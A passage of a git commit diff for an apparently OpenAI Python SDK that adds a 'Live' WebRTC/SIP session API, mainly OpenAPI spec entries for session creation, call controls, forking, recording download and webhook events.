.../live/test_transcript_grouper_lifecycle.py | 349 ++
tests/lib/live/test_transcript_grouping.py | 385 ++
tests/lib/test_websocket_redirects.py | 8 +-
tests/test_send_queue_reconnect.py | 24 +-
141 files changed, 16481 insertions(+), 310 deletions(-)
create mode 100644 examples/live/audio_transcript.py
create mode 100644 examples/live/transcript_grouper.md
create mode 100644 examples/live/transcript_grouper.py
create mode 100644 src/openai/lib/live/__init__.py
create mode 100644 src/openai/lib/live/_listeners.py
create mode 100644 src/openai/lib/live/_transcript_grouper.py
create mode 100644 src/openai/lib/live/_transcript_grouping.py
create mode 100644 src/openai/lib/live/_transcript_state.py
create mode 100644 src/openai/lib/live/_types.py
create mode 100644 src/openai/resources/live/__init__.py
create mode 100644 src/openai/resources/live/api.md
create mode 100644 src/openai/resources/live/forks.py
create mode 100644 src/openai/resources/live/live.py
create mode 100644 src/openai/resources/live/sessions.py
create mode 100644 src/openai/resources/live/sideband.py
create mode 100644 src/openai/types/live/__init__.py
create mode 100644 src/openai/types/live/audio_format.py
create mode 100644 src/openai/types/live/audio_format_param.py
create mode 100644 src/openai/types/live/built_in_voice.py
create mode 100644 src/openai/types/live/client_config.py
create mode 100644 src/openai/types/live/client_config_param.py
create mode 100644 src/openai/types/live/client_delegation.py
create mode 100644 src/openai/types/live/client_delegation_param.py
create mode 100644 src/openai/types/live/client_event.py
create mode 100644 src/openai/types/live/client_event_param.py
create mode 100644 src/openai/types/live/commentary_append_event.py
create mode 100644 src/openai/types/live/commentary_append_event_param.py
create mode 100644 src/openai/types/live/commentary_appended_event.py
create mode 100644 src/openai/types/live/connect_client_event.py
create mode 100644 src/openai/types/live/connect_client_event_param.py
create mode 100644 src/openai/types/live/connect_server_event.py
create mode 100644 src/openai/types/live/custom_voice.py
create mode 100644 src/openai/types/live/custom_voice_param.py
create mode 100644 src/openai/types/live/data_channel_config.py
create mode 100644 src/openai/types/live/data_channel_config_param.py
create mode 100644 src/openai/types/live/delegation_created_event.py
create mode 100644 src/openai/types/live/error.py
create mode 100644 src/openai/types/live/error_event.py
create mode 100644 src/openai/types/live/fork_client_event.py
create mode 100644 src/openai/types/live/fork_client_event_param.py
create mode 100644 src/openai/types/live/fork_server_event.py
create mode 100644 src/openai/types/live/fork_session_config.py
create mode 100644 src/openai/types/live/fork_session_config_param.py
create mode 100644 src/openai/types/live/fork_session_start_event.py
create mode 100644 src/openai/types/live/fork_session_start_event_param.py
create mode 100644 src/openai/types/live/function_tool.py
create mode 100644 src/openai/types/live/function_tool_param.py
create mode 100644 src/openai/types/live/info_event.py
create mode 100644 src/openai/types/live/initial_item.py
create mode 100644 src/openai/types/live/initial_item_param.py
create mode 100644 src/openai/types/live/input_audio_append_event.py
create mode 100644 src/openai/types/live/input_audio_append_event_param.py
create mode 100644 src/openai/types/live/input_audio_mute_event.py
create mode 100644 src/openai/types/live/input_audio_mute_event_param.py
create mode 100644 src/openai/types/live/input_audio_muted_event.py
create mode 100644 src/openai/types/live/input_audio_unmute_event.py
create mode 100644 src/openai/types/live/input_audio_unmute_event_param.py
create mode 100644 src/openai/types/live/input_audio_unmuted_event.py
create mode 100644 src/openai/types/live/input_transcript_delta_event.py
create mode 100644 src/openai/types/live/instructions_append_event.py
create mode 100644 src/openai/types/live/instructions_append_event_param.py
create mode 100644 src/openai/types/live/instructions_appended_event.py
create mode 100644 src/openai/types/live/live_create_params.py
create mode 100644 src/openai/types/live/live_create_response.py
create mode 100644 src/openai/types/live/media_session_config_param.py
create mode 100644 src/openai/types/live/media_session_fork_config_param.py
create mode 100644 src/openai/types/live/output_audio_delta_event.py
create mode 100644 src/openai/types/live/output_transcript_delta_event.py
create mode 100644 src/openai/types/live/response_create_event.py
create mode 100644 src/openai/types/live/response_create_event_param.py
create mode 100644 src/openai/types/live/response_event.py
create mode 100644 src/openai/types/live/response_item_create_event.py
create mode 100644 src/openai/types/live/response_item_create_event_param.py
create mode 100644 src/openai/types/live/responses_delegation_config.py
create mode 100644 src/openai/types/live/responses_delegation_config_param.py
create mode 100644 src/openai/types/live/responses_delegation_update_config.py
create mode 100644 src/openai/types/live/responses_delegation_update_config_param.py
create mode 100644 src/openai/types/live/server_event.py
create mode 100644 src/openai/types/live/server_event_selector.py
create mode 100644 src/openai/types/live/server_event_selector_param.py
create mode 100644 src/openai/types/live/session_accept_params.py
create mode 100644 src/openai/types/live/session_close_event.py
create mode 100644 src/openai/types/live/session_close_event_param.py
create mode 100644 src/openai/types/live/session_closed_event.py
create mode 100644 src/openai/types/live/session_config.py
create mode 100644 src/openai/types/live/session_config_param.py
create mode 100644 src/openai/types/live/session_fork_params.py
create mode 100644 src/openai/types/live/session_fork_response.py
create mode 100644 src/openai/types/live/session_refer_params.py
create mode 100644 src/openai/types/live/session_reject_params.py
create mode 100644 src/openai/types/live/session_resource.py
create mode 100644 src/openai/types/live/session_start_event.py
create mode 100644 src/openai/types/live/session_start_event_param.py
create mode 100644 src/openai/types/live/session_started_event.py
create mode 100644 src/openai/types/live/session_update_config.py
create mode 100644 src/openai/types/live/session_update_config_param.py
create mode 100644 src/openai/types/live/session_update_event.py
create mode 100644 src/openai/types/live/session_update_event_param.py
create mode 100644 src/openai/types/live/session_updated_event.py
create mode 100644 src/openai/types/live/session_usage.py
create mode 100644 src/openai/types/live/session_usage_updated_event.py
create mode 100644 src/openai/types/live/sideband_connect_params.py
create mode 100644 src/openai/types/live/thinking_append_event.py
create mode 100644 src/openai/types/live/thinking_append_event_param.py
create mode 100644 src/openai/types/live/thinking_appended_event.py
create mode 100644 src/openai/types/webhooks/live_transport_incoming_webhook_event.py
create mode 100644 tests/api_resources/live/__init__.py
create mode 100644 tests/api_resources/live/test_forks.py
create mode 100644 tests/api_resources/live/test_sessions.py
create mode 100644 tests/api_resources/live/test_sideband.py
create mode 100644 tests/api_resources/test_live.py
create mode 100644 tests/lib/live/__init__.py
create mode 100644 tests/lib/live/helpers.py
create mode 100644 tests/lib/live/test_transcript_grouper.py
create mode 100644 tests/lib/live/test_transcript_grouper_lifecycle.py
create mode 100644 tests/lib/live/test_transcript_grouping.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index b05e8abdd5..601d1c818f 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 6df05462-b7ff-42d2-8cda-723d52f989eb
-openapi_spec_hash: cc8bc0e9cda20d98cbcab338ff08b50c
-openapi_transformed_spec_hash: 2f1cea3510c46bd2b681baf83d8724c5
-config_hash: d7b82262337a543ff59106e4a32ead4e
-codegen_sha: 5e32d2afdf8428ec5caf80a1700a77e75f8e4e96
-codegen_hash: b253f3a3531fcc8accd8fe17b08357fcf075c246bc3bccb82ef95a2d13c5f3da
-public_codegen_sha: 2f7f196c41d4252ad343a2b7f8a08572e91680a0
+generation_id: f73aef6c-1838-4b0f-afce-57a3ee03e0b7
+openapi_spec_hash: 782181534a53a11117f14e80cb3883a9
+openapi_transformed_spec_hash: 22088ed8f250e13a06d229d57bcccdb3
+config_hash: e906a9378d154c280041967c79592d12
+codegen_sha: 2b6283f96a01cfcd7d5b683966cd2f2e81955064
+codegen_hash: d45bd76c2de0e2e34ab6f92c141586b19130caf1b76a31ff2ccb210596b080bf
+public_codegen_sha: 31fe5d0cc9a4c9bf080ffb14625c31995af29f5a
diff --git a/api.md b/api.md
index 701e4be463..b983e2482e 100644
--- a/api.md
+++ b/api.md
@@ -1508,6 +1508,8 @@ Methods:
# [Responses](src/openai/resources/responses/api.md)
+# [Live](src/openai/resources/live/api.md)
+
# [Realtime](src/openai/resources/realtime/api.md)
# [Conversations](src/openai/resources/conversations/api.md)
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 0726765339..f7e1084861 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -8185,6 +8185,183 @@ paths:
]
}
description: Creates a variation of a given image. This endpoint only supports `dall-e-2`.
+ /live/sessions:
+ post:
+ operationId: create-live
+ summary: Create session
+ description: Create a Live WebRTC session. Start with the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting).
+ tags:
+ - Live
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveCreateRequest'
+ responses:
+ '201':
+ description: Live session created with a WebRTC answer.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveCreateResponse'
+ example:
+ session:
+ id: live_123
+ transport:
+ type: webrtc
+ sdp:
+ x-oaiMeta:
+ name: Create session
+ group: live
+ returns: Returns 201 Created with the session identifier in session.id and SDP answer in transport.sdp.
+ examples:
+ request:
+ curl: |-
+ curl https://api.openai.com/v1/live/sessions \
+ -H "Authorization: Bearer $OPENAI_API_KEY" \
+ -H "Content-Type: application/json" \
+ -d '{"session":{"model":"gpt-live-1","instructions":"Be concise. Ask for clarification when needed."},"transport":{"type":"webrtc","sdp":""}}'
+ /live/sessions/{session_id}/accept:
+ post:
+ operationId: accept-live-session
+ summary: Accept call
+ description: Accept an incoming SIP call with Live startup configuration.
+ tags:
+ - Live
+ parameters:
+ - in: path
+ name: session_id
+ required: true
+ description: Opaque Live session identifier from the creation response or incoming-call webhook. Preserve the returned value unchanged, including its prefix.
+ schema:
+ type: string
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveCallAcceptRequest'
+ responses:
+ '200':
+ description: Session accept request accepted.
+ x-oaiMeta:
+ name: Accept call
+ group: live-sessions
+ returns: Returns 200 OK when the control request succeeds.
+ /live/sessions/{session_id}/fork:
+ post:
+ operationId: fork-live-session
+ summary: Fork session
+ description: Fork a stored Live session onto a new WebRTC connection.
+ tags:
+ - Live
+ parameters:
+ - in: path
+ name: session_id
+ required: true
+ schema:
+ type: string
+ description: The ID of the stored Live session to fork.
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveForkRequest'
+ responses:
+ '201':
+ description: Forked Live session created with a WebRTC answer.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveCreateResponse'
+ x-oaiMeta:
+ name: Fork session
+ group: live
+ returns: The new session identifier in session.id and SDP answer in transport.sdp.
+ examples:
+ request:
+ curl: |-
+ curl https://api.openai.com/v1/live/sessions/live_123/fork \
+ -H "Authorization: Bearer $OPENAI_API_KEY" \
+ -H "Content-Type: application/json" \
+ -d '{"session":{},"transport":{"type":"webrtc","sdp":""}}'
+ /live/sessions/{session_id}/hangup:
+ post:
+ operationId: hangup-live-session
+ summary: Hang up session
+ description: Hang up a Live session.
+ tags:
+ - Live
+ parameters:
+ - in: path
+ name: session_id
+ required: true
+ description: Opaque Live session identifier from the creation response or incoming-call webhook. Preserve the returned value unchanged, including its prefix.
+ schema:
+ type: string
+ responses:
+ '200':
+ description: Session hangup request accepted.
+ x-oaiMeta:
+ name: Hang up session
+ group: live-sessions
+ returns: Returns 200 OK when the control request succeeds.
+ /live/sessions/{session_id}/refer:
+ post:
+ operationId: refer-live-session
+ summary: Transfer call
+ description: Transfer a Live SIP call to another destination.
+ tags:
+ - Live
+ parameters:
+ - in: path
+ name: session_id
+ required: true
+ description: Opaque Live session identifier from the creation response or incoming-call webhook. Preserve the returned value unchanged, including its prefix.
+ schema:
+ type: string
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveCallReferRequest'
+ responses:
+ '200':
+ description: Session refer request accepted.
+ x-oaiMeta:
+ name: Transfer call
+ group: live-sessions
+ returns: Returns 200 OK when the control request succeeds.
+ /live/sessions/{session_id}/reject:
+ post:
+ operationId: reject-live-session
+ summary: Reject call
+ description: Reject an incoming SIP call.
+ tags:
+ - Live
+ parameters:
+ - in: path
+ name: session_id
+ required: true
+ description: Opaque Live session identifier from the creation response or incoming-call webhook. Preserve the returned value unchanged, including its prefix.
+ schema:
+ type: string
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/LiveCallRejectRequest'
+ responses:
+ '200':
+ description: Session reject request accepted.
+ x-oaiMeta:
+ name: Reject call
+ group: live-sessions
+ returns: Returns 200 OK when the control request succeeds.
/models:
get:
operationId: listModels
@@ -22581,6 +22758,35 @@ paths:
"reason": "Potentially unintended data access."
}
description: Get a safety alert belonging to the authenticated API project.
+ /live/sessions/{session_id}/content:
+ get:
+ tags:
+ - Live
+ summary: Download recording
+ description: Get Live session content
+ operationId: download-live-recording
+ parameters:
+ - name: session_id
+ in: path
+ description: The ID of the stored Live session to download. Use the session ID returned when the session started with storage enabled.
+ required: true
+ schema:
+ description: The ID of the stored Live session to download. Use the session ID returned when the session started with storage enabled.
+ type: string
+ pattern: ^live_[A-Za-z0-9_-]{1,128}$
+ responses:
+ '200':
+ description: Stored session recording. Input audio is in the left channel and output audio is in the right channel.
+ content:
+ audio/wav:
+ schema:
+ description: The Live session recording as a stereo WAV file, with input audio in the left channel and output audio in the right channel.
+ type: string
+ format: binary
+ x-oaiMeta:
+ name: Download recording
+ group: live
+ returns: The stored session recording as binary stereo WAV audio.
/organization/spend_limit:
get:
summary: Retrieve organization spend limit
@@ -27093,6 +27299,7 @@ webhooks:
$ref: '#/components/schemas/WebhookFineTuningJobSucceeded'
live_call_incoming:
post:
+ deprecated: true
responses:
'200':
description: |
@@ -27104,6 +27311,19 @@ webhooks:
application/json:
schema:
$ref: '#/components/schemas/WebhookLiveCallIncoming'
+ live_transport_incoming:
+ post:
+ responses:
+ '200':
+ description: |
+ Return a 200 status code to acknowledge receipt of the event. Non-200
+ status codes will be retried.
+ requestBody:
+ description: The event payload sent by the API.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/WebhookLiveTransportIncoming'
realtime_call_incoming:
post:
responses:
@@ -39471,65 +39691,6 @@ components:
$ref: '#/components/schemas/ImageGenActionEnum'
required:
- type
- ImageGenToolCall:
- type: object
- title: Image generation call
- description: |
- An image generation request made by the model.
- properties:
- type:
- type: string
- enum:
- - image_generation_call
- description: |
- The type of the image generation call. Always `image_generation_call`.
- x-stainless-const: true
- id:
- type: string
- description: |
- The unique ID of the image generation call.
- status:
- type: string
- enum:
- - in_progress
- - completed
- - generating
- - failed
- description: |
- The status of the image generation call.
- result:
- anyOf:
- - type: string
- description: |
- The generated image encoded in base64.
- - type: 'null'
- size:
- anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- - type: 'null'
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- quality:
- anyOf:
- - type: string
- enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- - type: 'null'
- description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
- required:
- - type
- - id
- - status
- - result
ImageRefParam:
type: object
description: |
@@ -40501,6 +40662,281 @@ components:
- first_id
- last_id
- has_more
+ LiveCallAcceptRequest:
+ type: object
+ description: Accept an incoming SIP call with Live startup configuration.
+ properties:
+ session:
+ $ref: '#/components/schemas/LiveCallAcceptSession'
+ description: Model and startup configuration for the Live session that answers the incoming SIP call.
+ required:
+ - session
+ additionalProperties: false
+ LiveCallAcceptSession:
+ type: object
+ description: Startup configuration for accepting an incoming Live SIP call. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend and backend instructions.
+ properties:
+ model:
+ $ref: '#/components/schemas/ModelIdsLive'
+ description: The Live model to use for the accepted call.
+ minLength: 1
+ instructions:
+ $ref: '#/components/schemas/instructions'
+ audio:
+ $ref: '#/components/schemas/LiveMediaSessionAudioParam'
+ description: Startup audio output configuration. SIP negotiates the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
+ delegation:
+ $ref: '#/components/schemas/delegation'
+ store:
+ $ref: '#/components/schemas/store'
+ input:
+ $ref: '#/components/schemas/input'
+ type:
+ type: string
+ enum:
+ - live
+ default: live
+ x-stainless-const: true
+ description: The session type. Always `live`.
+ required:
+ - model
+ - type
+ additionalProperties: false
+ LiveCallReferRequest:
+ type: object
+ description: Parameters used to transfer a Live SIP call to another destination.
+ properties:
+ target_uri:
+ $ref: '#/components/schemas/target_uri'
+ minLength: 1
+ pattern: \S
+ description: Nonblank URI for the SIP Refer-To header, such as tel:+14155550123 or sip:agent@example.com.
+ required:
+ - target_uri
+ additionalProperties: false
+ LiveCallRejectRequest:
+ type: object
+ description: Parameters used to reject an incoming Live SIP call.
+ properties:
+ status_code:
+ type: integer
+ minimum: 300
+ maximum: 699
+ description: SIP rejection status sent to the caller. This field is required.
+ example: 486
+ required:
+ - status_code
+ additionalProperties: false
+ LiveClientEvent:
+ description: Client events for Live. Initialize a primary WebSocket with session.start and wait for session.started. WebRTC creation already starts the session. Audio append is primary WebSocket-only. See the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before writing frontend instructions and delegation policies.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionStartEvent'
+ - $ref: '#/components/schemas/LiveSessionUpdateParam'
+ - $ref: '#/components/schemas/LiveInputAudioAppendEvent'
+ - $ref: '#/components/schemas/LiveInputAudioMuteParam'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
+ - $ref: '#/components/schemas/LiveInstructionsAppendParam'
+ - $ref: '#/components/schemas/LiveThinkingAppendParam'
+ - $ref: '#/components/schemas/LiveCommentaryAppendParam'
+ - $ref: '#/components/schemas/LiveResponseItemCreateParam'
+ - $ref: '#/components/schemas/LiveResponseCreateParam'
+ - $ref: '#/components/schemas/LiveSessionCloseParam'
+ LiveConnectParams:
+ type: object
+ x-stainless-empty-object: true
+ description: Primary Live WebSocket connections accept no query parameters. Supply the model and startup configuration in the first session.start event.
+ properties: {}
+ additionalProperties: false
+ LiveCreateRequest:
+ type: object
+ description: Create a Live WebRTC session with JSON session configuration and an SDP offer. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) before choosing frontend and backend instructions. The request starts the session; do not send session.start on the data channel.
+ properties:
+ session:
+ $ref: '#/components/schemas/LiveMediaSessionCreateParams'
+ description: Startup configuration for the Live session.
+ transport:
+ $ref: '#/components/schemas/LiveWebRTCTransport'
+ description: WebRTC transport with the browser's SDP offer.
+ required:
+ - session
+ - transport
+ additionalProperties: false
+ LiveCreateResponse:
+ type: object
+ description: The created Live session identifier and WebRTC answer. Apply transport.sdp as the peer's remote answer and wait for session.started on the data channel before sending commands.
+ properties:
+ session:
+ type: object
+ description: The newly created Live session. Use its ID for session controls and sideband connections.
+ properties:
+ id:
+ type: string
+ description: Opaque session identifier. Preserve the returned value unchanged, including its prefix.
+ required:
+ - id
+ transport:
+ $ref: '#/components/schemas/LiveWebRTCTransport'
+ description: WebRTC transport with the SDP answer.
+ required:
+ - session
+ - transport
+ LiveForkClientEvent:
+ description: Client events for a Live fork WebSocket. First send session.start with an overrides object (which may be empty), then wait for session.started before sending other commands. The model and conversation are inherited from the stored session.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveForkSessionStartEvent'
+ - $ref: '#/components/schemas/LiveSessionUpdateParam'
+ - $ref: '#/components/schemas/LiveInputAudioAppendEvent'
+ - $ref: '#/components/schemas/LiveInputAudioMuteParam'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
+ - $ref: '#/components/schemas/LiveInstructionsAppendParam'
+ - $ref: '#/components/schemas/LiveThinkingAppendParam'
+ - $ref: '#/components/schemas/LiveCommentaryAppendParam'
+ - $ref: '#/components/schemas/LiveResponseItemCreateParam'
+ - $ref: '#/components/schemas/LiveResponseCreateParam'
+ - $ref: '#/components/schemas/LiveSessionCloseParam'
+ LiveForkPathParams:
+ type: object
+ description: Identifies the stored Live session whose conversation and configuration are used to create a fork.
+ required:
+ - session_id
+ properties:
+ session_id:
+ type: string
+ description: The ID of the stored Live session to fork.
+ LiveForkRequest:
+ type: object
+ description: Fork a stored Live session onto a new WebRTC connection. Omit session or send an empty object to inherit its configuration.
+ properties:
+ session:
+ $ref: '#/components/schemas/LiveMediaSessionForkParams'
+ description: Optional configuration overrides for the new Live session. Omit this object or send an empty object to inherit the stored session's settings.
+ transport:
+ $ref: '#/components/schemas/LiveWebRTCTransport'
+ description: WebRTC transport with an SDP offer for the new connection to the forked session.
+ required:
+ - transport
+ additionalProperties: false
+ LiveForkServerEvent:
+ $ref: '#/components/schemas/LiveServerEvent'
+ LiveMediaSessionAudioParam:
+ type: object
+ description: Startup audio output configuration. WebRTC and SIP negotiate the media format; audio.format is only accepted for primary WebSockets. Voice cannot change after startup.
+ properties:
+ output:
+ $ref: '#/components/schemas/LiveInitialSessionAudioOutputParam'
+ additionalProperties: false
+ LiveMediaSessionCreateParams:
+ type: object
+ description: Startup configuration for a Live media session. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when writing frontend instructions and the backend prompt under delegation.responses.instructions.
+ properties:
+ model:
+ $ref: '#/components/schemas/ModelIdsLive'
+ instructions:
+ $ref: '#/components/schemas/instructions'
+ audio:
+ $ref: '#/components/schemas/LiveMediaSessionAudioParam'
+ description: Startup audio configuration. WebRTC and SIP negotiate their audio format on the media transport.
+ delegation:
+ $ref: '#/components/schemas/delegation'
+ store:
+ $ref: '#/components/schemas/store'
+ input:
+ $ref: '#/components/schemas/input'
+ client:
+ $ref: '#/components/schemas/LiveClientConfigParam'
+ required:
+ - model
+ additionalProperties: false
+ LiveMediaSessionForkParams:
+ type: object
+ description: Optional overrides for a stored Live session. Omitted settings are inherited. The model, voice, frontend instructions, and prior conversation come from the stored session. WebRTC negotiates its audio format; audio.format is only supported on WebSocket forks.
+ properties:
+ store:
+ $ref: '#/components/schemas/properties-store'
+ delegation:
+ $ref: '#/components/schemas/LiveResponsesDelegationUpdateParam'
+ client:
+ $ref: '#/components/schemas/LiveClientConfigParam'
+ additionalProperties: false
+ LiveServerEvent:
+ description: Server events for Live. Response lifecycle events are wrapped inside response.event; dispatch the nested event by its full type and tolerate new response event types. Follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) when designing the conversation and delegation policy.
+ discriminator:
+ propertyName: type
+ allOf:
+ - $ref: '#/components/schemas/LiveServerEvent-2'
+ LiveSidebandClientEvent:
+ description: Client events accepted by an attached Live sideband WebSocket. The session is already started; send audio over the primary connection.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionUpdateParam'
+ - $ref: '#/components/schemas/LiveInputAudioMuteParam'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuteParam'
+ - $ref: '#/components/schemas/LiveInstructionsAppendParam'
+ - $ref: '#/components/schemas/LiveThinkingAppendParam'
+ - $ref: '#/components/schemas/LiveCommentaryAppendParam'
+ - $ref: '#/components/schemas/LiveResponseItemCreateParam'
+ - $ref: '#/components/schemas/LiveResponseCreateParam'
+ - $ref: '#/components/schemas/LiveSessionCloseParam'
+ LiveSidebandConnectParams:
+ type: object
+ description: Connection options for a sideband WebSocket attached to an existing Live session.
+ properties:
+ graceful_close:
+ type: boolean
+ description: Opt in to the graceful WebSocket closing handshake when the session ends. The server may also enable this behavior by default.
+ additionalProperties: false
+ LiveSidebandPathParams:
+ type: object
+ description: Identifies the Live session to observe and control through a sideband WebSocket.
+ required:
+ - session_id
+ properties:
+ session_id:
+ type: string
+ description: The ID of the existing Live session to attach to.
+ LiveSidebandServerEvent:
+ description: Server events received by an attached Live sideband WebSocket. Audio deltas are delivered over the primary connection.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/LiveSessionStarted'
+ - $ref: '#/components/schemas/LiveSessionUpdated'
+ - $ref: '#/components/schemas/LiveInputAudioMuted'
+ - $ref: '#/components/schemas/LiveInputAudioUnmuted'
+ - $ref: '#/components/schemas/LiveInstructionsAppended'
+ - $ref: '#/components/schemas/LiveThinkingAppended'
+ - $ref: '#/components/schemas/LiveCommentaryAppended'
+ - $ref: '#/components/schemas/LiveInputTranscriptDelta'
+ - $ref: '#/components/schemas/LiveOutputTranscriptDelta'
+ - $ref: '#/components/schemas/LiveDelegationCreated'
+ - $ref: '#/components/schemas/LiveResponseEvent'
+ - $ref: '#/components/schemas/LiveSessionUsageUpdated'
+ - $ref: '#/components/schemas/LiveSessionClosed'
+ - $ref: '#/components/schemas/LiveErrorEvent'
+ - $ref: '#/components/schemas/LiveInfoEvent'
+ LiveWebRTCTransport:
+ type: object
+ description: WebRTC transport carrying the offer SDP in a creation request or answer SDP in its response.
+ properties:
+ type:
+ type: string
+ description: The transport used for the Live session. Always `webrtc`.
+ enum:
+ - webrtc
+ x-stainless-const: true
+ sdp:
+ type: string
+ minLength: 1
+ description: Session Description Protocol message for the WebRTC connection.
+ required:
+ - type
+ - sdp
+ additionalProperties: false
LocalShellToolCall:
type: object
title: Local shell call
@@ -41692,6 +42128,15 @@ components:
- type: string
- type: 'null'
description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
+ ModelIdsLive:
+ description: The Live model. Required in the session configuration for every transport; do not pass it as a URL query parameter.
+ example: gpt-live-1
+ anyOf:
+ - type: string
+ minLength: 1
+ - type: string
+ enum:
+ - gpt-live-1
ModelIdsResponses:
example: gpt-6-astra
anyOf:
@@ -61817,7 +62262,10 @@ components:
WebhookLiveCallIncoming:
type: object
title: live.call.incoming
+ deprecated: true
description: |
+ Deprecated: use `live.transport.incoming`. Retained for existing subscriptions
+ during migration; new subscriptions to this event are not allowed.
Sent when an incoming API SIP session is available for Live acceptance. The
same pending session can also emit `realtime.call.incoming`; the first
successful Realtime or Live accept endpoint selects the runtime surface.
@@ -61847,8 +62295,9 @@ components:
session_id:
type: string
description: |
- The `live_...` ID of the pending SIP session. Forward this value
- unchanged when accepting or rejecting the call through the Live API.
+ The `live_...` ID of the pending SIP session. Pass this value unchanged
+ to Live call controls and sideband connections. The corresponding
+ `realtime.call.incoming` event uses a separate `rtc_...` call ID.
sip_headers:
type: array
description: |
@@ -61902,12 +62351,108 @@ components:
]
}
}
+ WebhookLiveTransportIncoming:
+ type: object
+ title: live.transport.incoming
+ description: |
+ Sent when an incoming API SIP session is available for Live acceptance. The
+ same pending session can also emit `realtime.call.incoming`; the first
+ successful Realtime or Live accept endpoint selects the runtime surface.
+ required:
+ - created_at
+ - id
+ - data
+ - type
+ properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: |
+ The Unix timestamp (in seconds) of when the event was created.
+ id:
+ type: string
+ description: |
+ The unique ID of the event.
+ data:
+ type: object
+ description: |
+ Event data payload.
+ required:
+ - type
+ - session_id
+ - sip_headers
+ properties:
+ type:
+ type: string
+ description: The incoming transport type. Always `sip`.
+ enum:
+ - sip
+ x-stainless-const: true
+ session_id:
+ type: string
+ description: |
+ The `live_...` ID of the pending SIP session. Forward this value
+ unchanged when accepting or rejecting the call through the Live API.
+ sip_headers:
+ type: array
+ description: |
+ Headers from the SIP INVITE, excluding SIP authorization headers.
+ Retained names, values, repeated entries, and order are preserved.
+ Treat these values as untrusted call metadata.
+ items:
+ type: object
+ description: |
+ A header from the SIP Invite.
+ required:
+ - name
+ - value
+ properties:
+ name:
+ type: string
+ description: |
+ Name of the SIP Header.
+ value:
+ type: string
+ description: |
+ Value of the SIP Header.
+ object:
+ type: string
+ description: |
+ The object of the event. Always `event`.
+ enum:
+ - event
+ x-stainless-const: true
+ type:
+ type: string
+ description: |
+ The type of the event. Always `live.transport.incoming`.
+ enum:
+ - live.transport.incoming
+ x-stainless-const: true
+ x-oaiMeta:
+ name: live.transport.incoming
+ group: webhook-events
+ example: |
+ {
+ "id": "evt_abc123",
+ "type": "live.transport.incoming",
+ "created_at": 1719168000,
+ "data": {
+ "type": "sip",
+ "session_id": "live_u0_479a275623b54bdb9b6fbae2f7cbd408",
+ "sip_headers": [
+ {"name": "From", "value": ";tag=abc123"},
+ {"name": "To", "value": ""},
+ {"name": "Call-ID", "value": "call-123@example.com"}
+ ]
+ }
+ }
WebhookRealtimeCallIncoming:
type: object
title: realtime.call.incoming
description: |
Sent when an incoming API SIP session is available for Realtime acceptance.
- The same pending session can also emit `live.call.incoming`; the first
+ The same pending session can also emit `live.transport.incoming`; the first
successful Realtime or Live accept endpoint selects the runtime surface.
required:
- created_at
@@ -61936,7 +62481,7 @@ components:
type: string
description: |
The Transceiver `rtc_...` ID of the pending SIP session. The paired
- `live.call.incoming` event derives its `session_id` by replacing the
+ `live.transport.incoming` event derives its `session_id` by replacing the
`rtc_` prefix with `live_`. Use the ID returned by the event with the
corresponding Realtime or Live API.
sip_headers:
@@ -63143,6 +63688,102 @@ components:
- completed
- failed
- incomplete
+ ImageGenActionEnum:
+ type: string
+ enum:
+ - generate
+ - edit
+ - auto
+ ImageBackground:
+ type: string
+ enum:
+ - transparent
+ - opaque
+ - auto
+ ImageOutputFormat:
+ type: string
+ enum:
+ - png
+ - webp
+ - jpeg
+ ImageGenToolCall:
+ properties:
+ type:
+ type: string
+ enum:
+ - image_generation_call
+ description: The type of the image generation call. Always `image_generation_call`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: The unique ID of the image generation call.
+ status:
+ type: string
+ enum:
+ - in_progress
+ - completed
+ - generating
+ - failed
+ description: The status of the image generation call.
+ result:
+ anyOf:
+ - type: string
+ description: The generated image encoded in base64.
+ - type: 'null'
+ size:
+ anyOf:
+ - anyOf:
+ - type: string
+ - type: string
+ enum:
+ - 1024x1024
+ - 1024x1536
+ - 1536x1024
+ description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
+ - type: 'null'
+ quality:
+ anyOf:
